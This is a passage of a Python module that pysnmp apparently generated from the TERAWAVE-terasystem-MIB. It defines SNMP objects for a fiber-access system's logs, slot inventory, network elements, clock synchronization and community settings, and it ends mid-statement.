teraSystemNATSubnetMask=teraSystemNATSubnetMask, teraSysObjectIdTable=teraSysObjectIdTable, teraTW100=teraTW100, teraSecondaryMasterSlaveTable=teraSecondaryMasterSlaveTable, teraSystemNATSubnetAddress=teraSystemNATSubnetAddress, teraTW150RTTDM=teraTW150RTTDM, teraTW300=teraTW300, teraInstalledSystemLocation=teraInstalledSystemLocation, teraNEReset=teraNEReset, teraPPPOperBaudRate=teraPPPOperBaudRate, teraSystemIPAddress=teraSystemIPAddress, teraNESlotTableEntry=teraNESlotTableEntry, teraNESlotUnitAdminStatus=teraNESlotUnitAdminStatus, teraTW600=teraTW600, teraNESWRevision=teraNESWRevision, teraInstallUnitMfgData=teraInstallUnitMfgData, teraSlotInstallTableEntry=teraSlotInstallTableEntry, teraLogTableEntry=teraLogTableEntry, teraSlotInstTablePar=teraSlotInstTablePar, teraSystemTime=teraSystemTime, teraGETCommunity=teraGETCommunity, teraSystemInstallTable=teraSystemInstallTable, teraClockSyncSecondaryNIMSlot=teraClockSyncSecondaryNIMSlot, teraClockSyncPrimaryNIMIfIndex=teraClockSyncPrimaryNIMIfIndex, teraNETimeZone=teraNETimeZone, teraLogNumberStatus=teraLogNumberStatus, teraNEIDxPonID=teraNEIDxPonID, teraClockSyncLastSource=teraClockSyncLastSource, teraLogClear=teraLogClear, teraSlaveState=teraSlaveState, teraMasterState=teraMasterState, teraCraftInterfaceTable=teraCraftInterfaceTable, teraWLinkIPStatus=teraWLinkIPStatus, teraClockSyncPrimaryStatus=teraClockSyncPrimaryStatus, teraTW150RTATM=teraTW150RTATM, teraMasterSlaveStateIndex=teraMasterSlaveStateIndex, teraPPPOperFlowControl=teraPPPOperFlowControl, teraInstallSlotNumber=teraInstallSlotNumber, teraInstalledSystemName=teraInstalledSystemName, teraNEMiscTableGroup=teraNEMiscTableGroup, teraSETCommunity=teraSETCommunity, teraClockSyncSecondarySource=teraClockSyncSecondarySource, teraClockSyncActiveNIMIfIndex=teraClockSyncActiveNIMIfIndex, teraSystemNEName=teraSystemNEName, teraSystemNEEocMinBandWidth=teraSystemNEEocMinBandWidth, teraNEMiscTable=teraNEMiscTable, teraSecondaryMasterSlotNumber=teraSecondaryMasterSlotNumber, teraSlaveSlotNumber=teraSlaveSlotNumber, teraLogNumberTable=teraLogNumberTable, teraLogNumberDescr=teraLogNumberDescr, teraNEIDxTableEntry=teraNEIDxTableEntry, teraWLinkIPRangeStart=teraWLinkIPRangeStart, teraNEInfoTable=teraNEInfoTable, teraLogFilterByTask=teraLogFilterByTask, teraSNMPState=teraSNMPState, teraSystemIPGateway=teraSystemIPGateway)
(integer, octet_string, object_identifier) = mibBuilder.importSymbols('ASN1', 'Integer', 'OctetString', 'ObjectIdentifier') (named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues') (value_range_constraint, value_size_constraint, constraints_union, single_value_constraint, constraints_intersection) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'ValueRangeConstraint', 'ValueSizeConstraint', 'ConstraintsUnion', 'SingleValueConstraint', 'ConstraintsIntersection') (notification_group, module_compliance) = mibBuilder.importSymbols('SNMPv2-CONF', 'NotificationGroup', 'ModuleCompliance') (integer32, bits, counter32, object_identity, notification_type, time_ticks, mib_identifier, module_identity, counter64, mib_scalar, mib_table, mib_table_row, mib_table_column, ip_address, unsigned32, iso, enterprises, gauge32) = mibBuilder.importSymbols('SNMPv2-SMI', 'Integer32', 'Bits', 'Counter32', 'ObjectIdentity', 'NotificationType', 'TimeTicks', 'MibIdentifier', 'ModuleIdentity', 'Counter64', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'IpAddress', 'Unsigned32', 'iso', 'enterprises', 'Gauge32') (display_string, textual_convention) = mibBuilder.importSymbols('SNMPv2-TC', 'DisplayString', 'TextualConvention') terawave = mib_identifier((1, 3, 6, 1, 4, 1, 4513)) tera_system = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5)) tera_system_time = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 1), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemTime.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemTime.setDescription('') tera_system_curr_time = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 2), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraSystemCurrTime.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemCurrTime.setDescription('') tera_log_group = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 8)) tera_log_number_table = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 8, 1)) if mibBuilder.loadTexts: teraLogNumberTable.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumberTable.setDescription(' table teraLogNumberTable') tera_log_number_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 8, 1, 1)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'teraLogNumber')) if mibBuilder.loadTexts: teraLogNumberTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumberTableEntry.setDescription(' table entry teraLogNumberTableEntry ') tera_log_number = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 1, 1, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraLogNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumber.setDescription('') tera_log_number_descr = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 1, 1, 2), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraLogNumberDescr.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumberDescr.setDescription('') tera_log_number_status = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 1, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('ok', 1), ('clear', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraLogNumberStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumberStatus.setDescription('') tera_log_clear = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 8, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('ok', 1), ('clear', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraLogClear.setStatus('mandatory') if mibBuilder.loadTexts: teraLogClear.setDescription('') tera_log_table = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3)) if mibBuilder.loadTexts: teraLogTable.setStatus('mandatory') if mibBuilder.loadTexts: teraLogTable.setDescription(' table teraLogTable') tera_log_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'teraInstallSlotNumber'), (0, 'TERAWAVE-terasystem-MIB', 'teraLogNumber'), (0, 'TERAWAVE-terasystem-MIB', 'teraLogMsgIndex')) if mibBuilder.loadTexts: teraLogTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraLogTableEntry.setDescription(' table entry teraLogTableEntry ') tera_log_msg_index = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraLogMsgIndex.setStatus('mandatory') if mibBuilder.loadTexts: teraLogMsgIndex.setDescription('') tera_log_msg_number = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4, 2), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraLogMsgNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraLogMsgNumber.setDescription('') tera_log_number_of_params = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4, 3), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraLogNumberOfParams.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumberOfParams.setDescription('') tera_log_params = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4, 4), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraLogParams.setStatus('mandatory') if mibBuilder.loadTexts: teraLogParams.setDescription('') tera_log_status = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4, 5), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('ok', 1), ('clear', 2)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraLogStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraLogStatus.setDescription('') tera_all_logs_filter_group = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5)) if mibBuilder.loadTexts: teraAllLogsFilterGroup.setStatus('mandatory') if mibBuilder.loadTexts: teraAllLogsFilterGroup.setDescription(' table teraAllLogsFilterGroup') tera_all_logs_filter_group_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5, 1)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'teraLogNumber')) if mibBuilder.loadTexts: teraAllLogsFilterGroupEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraAllLogsFilterGroupEntry.setDescription(' table entry teraAllLogsFilterGroupEntry ') tera_log_filter_by_number = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5, 1, 1), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraLogFilterByNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraLogFilterByNumber.setDescription('') tera_log_filter_by_size = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('all', 1), ('last20', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraLogFilterBySize.setStatus('mandatory') if mibBuilder.loadTexts: teraLogFilterBySize.setDescription('') tera_log_filter_by_severity = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 5))).clone(namedValues=named_values(('nominal', 1), ('minor', 2), ('major', 3), ('critical', 5)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraLogFilterBySeverity.setStatus('mandatory') if mibBuilder.loadTexts: teraLogFilterBySeverity.setDescription('') tera_log_filter_by_task = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5, 1, 4), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraLogFilterByTask.setStatus('mandatory') if mibBuilder.loadTexts: teraLogFilterByTask.setDescription('') tera_slot_inst_table_par = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 3)) tera_slot_install_table = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1)) if mibBuilder.loadTexts: teraSlotInstallTable.setStatus('mandatory') if mibBuilder.loadTexts: teraSlotInstallTable.setDescription(' table teraSlotInstallTable') tera_slot_install_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'teraInstallSlotNumber')) if mibBuilder.loadTexts: teraSlotInstallTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraSlotInstallTableEntry.setDescription(' table entry teraSlotInstallTableEntry ') tera_install_slot_number = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 7))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraInstallSlotNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallSlotNumber.setDescription('') tera_install_unit_type = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 2), integer32().subtype(subtypeSpec=value_range_constraint(-1, 5000))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraInstallUnitType.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitType.setDescription('') tera_install_equipped_unit_type = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 3), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraInstallEquippedUnitType.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallEquippedUnitType.setDescription('') tera_install_unit_admin_status = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6, 7))).clone(namedValues=named_values(('provision', 1), ('none', 2), ('is', 3), ('moos', 4), ('reset', 5), ('trunk', 6), ('moos-trunk', 7)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraInstallUnitAdminStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitAdminStatus.setDescription('') tera_install_unit_oper_status = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 5), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6, 7, 8))).clone(namedValues=named_values(('empty', 1), ('is', 2), ('moos', 3), ('removed', 4), ('unprovisioned', 5), ('mismatch', 6), ('oos', 7), ('init', 8)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraInstallUnitOperStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitOperStatus.setDescription('') tera_install_unit_name = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 6), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraInstallUnitName.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitName.setDescription('') tera_install_unit_revision = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 7), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraInstallUnitRevision.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitRevision.setDescription('') tera_install_unit_serial = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 8), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraInstallUnitSerial.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitSerial.setDescription('') tera_install_unit_sw_version = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 9), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraInstallUnitSWVersion.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitSWVersion.setDescription('') tera_install_unit_mfg_data = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 10), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraInstallUnitMfgData.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitMfgData.setDescription('') tera_system_install_table = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2)) if mibBuilder.loadTexts: teraSystemInstallTable.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemInstallTable.setDescription(' table teraSystemInstallTable') tera_system_install_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'teraInstallSlotNumber'), (0, 'TERAWAVE-terasystem-MIB', 'teraPonIndex')) if mibBuilder.loadTexts: teraSystemInstallTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemInstallTableEntry.setDescription(' table entry teraSystemInstallTableEntry ') tera_system_ne_provision_admin_status = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('provision', 1), ('none', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNEProvisionAdminStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEProvisionAdminStatus.setDescription('') tera_system_ne_name = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 2), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraSystemNEName.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEName.setDescription('') tera_system_ne_ranging_code = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 3), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNERangingCode.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNERangingCode.setDescription('') tera_system_ne_type = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(0, 1, 2, 3, 4, 5, 7))).clone(namedValues=named_values(('unknown', 0), ('tw300', 1), ('tw600', 2), ('tw1600', 3), ('tw100', 4), ('tw150RT', 5), ('oat', 7)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraSystemNEType.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEType.setDescription('') tera_system_ne_max_latency = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 5), integer32().subtype(subtypeSpec=value_range_constraint(8, 60))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNEMaxLatency.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEMaxLatency.setDescription('') tera_system_ne_apon_max_length = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 6), integer32().subtype(subtypeSpec=value_range_constraint(0, 200))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNEAponMaxLength.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEAponMaxLength.setDescription('') tera_system_ne_oper_status = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 7), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('empty', 1), ('provisioned', 2), ('linkDown', 3)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraSystemNEOperStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEOperStatus.setDescription('') tera_system_ne_eoc_min_band_width = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 8), integer32().subtype(subtypeSpec=value_range_constraint(128, 1536))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNEEocMinBandWidth.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEEocMinBandWidth.setDescription('') tera_system_ne_eoc_max_band_width = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 9), integer32().subtype(subtypeSpec=value_range_constraint(128, 1536))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNEEocMaxBandWidth.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEEocMaxBandWidth.setDescription('') tera_system_ne_inventory_override = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 10), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('olt2ont', 1), ('ont2olt', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNEInventoryOverride.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEInventoryOverride.setDescription('') tera_system_ne_ranging = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 11), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('on', 1), ('off', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNERanging.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNERanging.setDescription('') tera_system_ne_current_distance = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 12), integer32().subtype(subtypeSpec=value_range_constraint(0, 20000))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraSystemNECurrentDistance.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNECurrentDistance.setDescription('') tera_ne_info_table_group = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3)) tera_ne_info_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1)) tera_ne_ranging_code = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1, 1), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraNERangingCode.setStatus('mandatory') if mibBuilder.loadTexts: teraNERangingCode.setDescription('') tera_ne_type = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(0, 1, 2, 3, 4, 5, 6, 7))).clone(namedValues=named_values(('unknown', 0), ('tw300', 1), ('tw600', 2), ('tw1600', 3), ('tw100', 4), ('tw150RT-ATM', 5), ('tw150RT-TDM', 6), ('oat', 7)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraNEType.setStatus('mandatory') if mibBuilder.loadTexts: teraNEType.setDescription('') tera_ne_model = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1, 3), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraNEModel.setStatus('mandatory') if mibBuilder.loadTexts: teraNEModel.setDescription('') tera_nesw_version = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1, 4), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraNESWVersion.setStatus('mandatory') if mibBuilder.loadTexts: teraNESWVersion.setDescription('') tera_nesw_revision = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1, 5), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraNESWRevision.setStatus('mandatory') if mibBuilder.loadTexts: teraNESWRevision.setDescription('') tera_clock_sync_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 4)) tera_clock_sync_primary_source = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('bits-A', 1), ('nim', 2), ('freerun', 3), ('holdover', 4)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraClockSyncPrimarySource.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncPrimarySource.setDescription('') tera_clock_sync_primary_nim_slot = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 2), integer32().subtype(subtypeSpec=value_range_constraint(1, 16))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraClockSyncPrimaryNIMSlot.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncPrimaryNIMSlot.setDescription('') tera_clock_sync_primary_nim_if_index = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 3), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraClockSyncPrimaryNIMIfIndex.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncPrimaryNIMIfIndex.setDescription('') tera_clock_sync_secondary_source = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('bits-B', 1), ('nim', 2), ('freerun', 3), ('holdover', 4)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraClockSyncSecondarySource.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncSecondarySource.setDescription('') tera_clock_sync_secondary_nim_slot = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 5), integer32().subtype(subtypeSpec=value_range_constraint(1, 16))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraClockSyncSecondaryNIMSlot.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncSecondaryNIMSlot.setDescription('') tera_clock_sync_secondary_nim_if_index = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 6), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraClockSyncSecondaryNIMIfIndex.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncSecondaryNIMIfIndex.setDescription('') tera_clock_sync_last_source = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 7), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('freerun', 1), ('holdover', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraClockSyncLastSource.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncLastSource.setDescription('') tera_clock_sync_revertive = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 8), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('yes', 1), ('no', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraClockSyncRevertive.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncRevertive.setDescription('') tera_clock_sync_active_source = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 9), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5))).clone(namedValues=named_values(('bits-A', 1), ('bits-B', 2), ('nim', 3), ('freerun', 4), ('holdover', 5)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraClockSyncActiveSource.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncActiveSource.setDescription('') tera_clock_sync_active_nim_slot = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 10), integer32().subtype(subtypeSpec=value_range_constraint(1, 16))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraClockSyncActiveNIMSlot.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncActiveNIMSlot.setDescription('') tera_clock_sync_active_nim_if_index = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 11), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraClockSyncActiveNIMIfIndex.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncActiveNIMIfIndex.setDescription('') tera_clock_sync_active_status = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 12), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('auto', 1), ('manual', 2)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraClockSyncActiveStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncActiveStatus.setDescription('') tera_clock_sync_primary_status = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 13), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('active', 1), ('idle', 2), ('fail', 3), ('oos', 4)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraClockSyncPrimaryStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncPrimaryStatus.setDescription('') tera_clock_sync_secondary_status = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 14), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('active', 1), ('idle', 2), ('fail', 3), ('oos', 4)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraClockSyncSecondaryStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncSecondaryStatus.setDescription('') tera_clock_sync_oper_status = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 15), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5))).clone(namedValues=named_values(('configure', 1), ('switchToPrimary', 2), ('switchToSecondary', 3), ('switchToHoldover', 4), ('switchToFreerun', 5)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraClockSyncOperStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncOperStatus.setDescription('') tera_community_group_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 5)) tera_public_community = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 5, 1), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraPublicCommunity.setStatus('mandatory') if mibBuilder.loadTexts: teraPublicCommunity.setDescription('') tera_set_community = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 5, 2), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSETCommunity.setStatus('mandatory') if mibBuilder.loadTexts: teraSETCommunity.setDescription('') tera_get_community = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 5, 3), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraGETCommunity.setStatus('mandatory') if mibBuilder.loadTexts: teraGETCommunity.setDescription('') tera_admin_community = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 5, 4), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraAdminCommunity.setStatus('mandatory') if mibBuilder.loadTexts: teraAdminCommunity.setDescription('') tera_test_community = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 5, 5), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraTestCommunity.setStatus('mandatory') if mibBuilder.loadTexts: teraTestCommunity.setDescription('') tera_master_slave_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 6)) tera_master_slot_number = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 6, 1), integer32().subtype(subtypeSpec=value_range_constraint(0, 7))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraMasterSlotNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraMasterSlotNumber.setDescription('') tera_slave_slot_number = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 6, 2), integer32().subtype(subtypeSpec=value_range_constraint(0, 7))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSlaveSlotNumber.setStatus('mandatory') if mibBuilder.loadTexts: 